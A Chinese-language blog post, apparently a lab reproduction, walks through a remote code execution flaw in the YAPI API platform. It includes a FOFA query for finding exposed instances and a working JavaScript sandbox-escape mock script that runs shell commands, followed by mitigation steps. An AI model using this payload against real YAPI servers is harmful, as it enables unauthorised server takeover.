YAPI开源接口管理平台远程代码执行漏洞复现

YAPI开源接口管理平台远程代码执行漏洞复现

前言

该漏洞环境为本地搭建,本博客所有文章,仅供研究测试及学习IT技术之用,严禁传播和用于非法用途,否则所产生的一切后果由观看文章、视频的人自行承担;本博客网以及发帖人不承担任何责任!
漏洞详情
YAPI接口管理平台是国内某旅行网站的开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
该漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意javascript代码,最终导致接管并控制服务器。
Github地址:https://github.com/jinfeijie/yapi

影响版本

YAPI全版本

FOFA

app="YApi"

漏洞复现

环境搭建

Docker搭建:https://github.com/jinfeijie/yapi

git clone https://github.com/jinfeijie/yapi.git

编辑docker-compose.yml文件,把监听设置127.0.0.1:3000:3000修改为0.0.0.0:3000:3000(这样搭建完成以后可以通过网络进行外部访问)

version: '2.1'
services:
  yapi:
    image: mrjin/yapi:latest
    # build: ./
    container_name: yapi
    environment:
      - VERSION=1.5.6
      - LOG_PATH=/tmp/yapi.log
      - HOME=/home
      - PORT=3000
      - ADMIN_EMAIL=me@jinfeijie.cn
      - DB_SERVER=mongo
      - DB_NAME=yapi
      - DB_PORT=27017
    # restart: always
    ports:
      - 127.0.0.1:3000:3000
    volumes:
      - ~/data/yapi/log/yapi.log:/home/vendors/log # log dir
    depends_on:
      - mongo
    entrypoint: "bash /wait-for-it.sh mongo:27017 -- entrypoint.sh"
    networks:
      - back-net
  mongo:
    image: mongo
    container_name: mongo
    # restart: always
    ports:
      - 127.0.0.1:27017:27017
    volumes:
      - ~/data/yapi/mongodb:/data/db #db dir
    networks:
      - back-net
networks:
  back-net:
    external: true

漏洞利用

注意:漏洞利用前提是需要开启注册功能 (YApi默认是开启注册功能)
登录页面如下:
在这里插入图片描述
在这里插入图片描述
先随意注册一个账号test;
在这里插入图片描述
在右上角点击新建项目:
在这里插入图片描述
项目名称和路径如下图所示:
在这里插入图片描述

设置全局mock脚本及接口,在设置里面找到全局mock脚本,勾上是否开启。mock脚本内容如下

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ls -al").toString()

在这里插入图片描述
随后添加接口:
在这里插入图片描述
在这里插入图片描述
访问接口的mock地址:
在这里插入图片描述

http://192.168.1.7:3000/mock/17/test/test

服务器可看到响应如下,远程服务器接受到请求
在这里插入图片描述

防御措施

先把服务器全盘重装了,数据库一定要提前备份:
1、更改Yapi运行端口
2、使用Nginx对Yapi进行反向代理
3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。
4、关闭Yapi注册
5、关闭Yapi Mock

参考文献

https://github.com/YMFE/yapi/issues/2233
https://github.com/YMFE/yapi/issues/2099

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值